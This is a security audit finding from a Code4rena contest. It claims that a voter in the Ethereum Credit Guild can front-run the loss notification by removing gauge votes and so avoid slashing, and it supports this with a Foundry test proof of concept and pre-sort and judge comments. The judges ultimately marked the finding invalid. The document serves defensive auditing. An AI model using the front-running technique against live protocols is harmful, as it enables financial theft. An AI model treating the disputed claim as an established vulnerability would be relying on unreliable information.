A malicious user can front-run the execution of profitManager.notifyPnL() in order to avoid losses

[c4-bot-1]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/GuildToken.sol#L123
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/GuildToken.sol#L133
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L292

Vulnerability details

Impact

A user can vote for a lending term using the function GuildToken::incrementGauge(), so the lending term could increase its debt ceiling and borrowers can request loans under these terms. Conversely, if the lending terms incur losses, these losses are assumed by those who voted for those lending terms. The ProfitManager::notifyPnL() first notifies the losses, and then the function GuildToken::applyGaugeLoss() applies the losses to those who voted for that lending term.

The issue arise when a user who voted for a lending term can front-run the ProfitManager notification of the loss, leaving his position as a voter using the GuildToken::decrementGauge() function and thus preventing his guild tokens from being slashed. Sure, there may be some allocated debt being used by the gauge not allowing the decrease however in some cases the malicious voter can frontrun the loss notification and only gain rewards from his guild tokens that's why a medium severity for this issue is the best choice.

Proof of Concept

For a test, I modeled a scenario where Alice uses 40e18 tokens to vote in the lending term gauge1 which then incurs a loss. Alice front-runs the ProfitManager:notifyPnL() transaction to remove her votes using the GuildToken::decrementGauge() function, thus avoiding the loss of her GuildTokens. Test steps:

1. grant roles to test contract and setup.
2. Alice votes 40e18 tokens to the gauge1.
3. loss in gauge1 but before the loss notify occurs, alice frontrun and decrease his votes.
4. The applying losses to Alice (applyGaugeLoss() function) is reverted. Alice ends up without losses.
5. Alice can re-enter her position by increasing her votes to gauge1 again without being penalized for previous losses.

// File: GuildToken.t.sol
// $ forge test --match-test "testFrontRunNotifyGaugeLoss" -vvv
//
    function testFrontRunNotifyGaugeLoss() public {
        // Malicious user can increment a gauge and if there are any losses, he can frontrun
        // the profitManager.notifyPnL() in order to decrement the gague, avoiding penalties.
        //
        //
        // 1. grant roles to test contract and setup
        vm.startPrank(governor);
        core.createRole(CoreRoles.GUILD_MINTER, CoreRoles.GOVERNOR);
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.createRole(CoreRoles.GAUGE_ADD, CoreRoles.GOVERNOR);
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.createRole(CoreRoles.GAUGE_PARAMETERS, CoreRoles.GOVERNOR);
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.createRole(CoreRoles.GAUGE_PNL_NOTIFIER, CoreRoles.GOVERNOR);
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        vm.stopPrank();
        // setup
        token.setMaxGauges(1);
        token.addGauge(1, gauge1);
        token.mint(alice, 100e18);
        //
        // 2. Alice votes `40e18` tokens to the `gauge1`
        vm.prank(alice);
        token.incrementGauge(gauge1, 40e18);
        assertEq(token.getUserWeight(alice), 40e18);
        assertEq(token.userUnusedWeight(alice), 60e18);
        // roll to next block.
        vm.warp(block.timestamp + 13);
        vm.roll(block.number + 1);
        //
        // 3. loss in `gauge1` but before the loss notify occurs, alice frontrun and decrease his votes
        vm.prank(alice);
        token.decrementGauge(gauge1, 40e18);
        assertEq(token.getUserWeight(alice), 0);
        assertEq(token.userUnusedWeight(alice), 100e18);
        profitManager.notifyPnL(gauge1, -100);  // notifyPnL is in the same block.
        //
        // 4. The applying losses to Alice (applyGaugeLoss() function) is reverted. Alice ends up without losses.
        vm.expectRevert();
        token.applyGaugeLoss(gauge1, alice);
        //
        // 5. Alice can re-enter her position by increasing her gauge again without
        //    being penalized for previous losses.
        vm.warp(block.timestamp + 26);
        vm.roll(block.number + 2);
        vm.prank(alice);
        token.incrementGauge(gauge1, 50e18);
        assertEq(token.getUserWeight(alice), 50e18);
        assertEq(token.userUnusedWeight(alice), 50e18);
        vm.expectRevert("GuildToken: no loss to apply"); // There is no penalty
        token.applyGaugeLoss(gauge1, alice);
    }

Tools used

Manual review

Recommended Mitigation Steps

To decrease a user's votes from a lending term, the user must wait a period of time so that these votes are not decreased before the losses are applied (malicious frontrun).

Assessed type

Context

[0xSorryNotSorry]

The issue is well demonstrated, properly formatted, contains a coded POC.
Marking as HQ.

[c4-pre-sort]

0xSorryNotSorry marked the issue as high quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #906

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #877

[c4-judge]

Trumpero marked the issue as unsatisfactory:
Invalid

[c4-judge]

Trumpero marked the issue as unsatisfactory:
Invalid

[c4-judge]

Trumpero marked the issue as unsatisfactory:
Invalid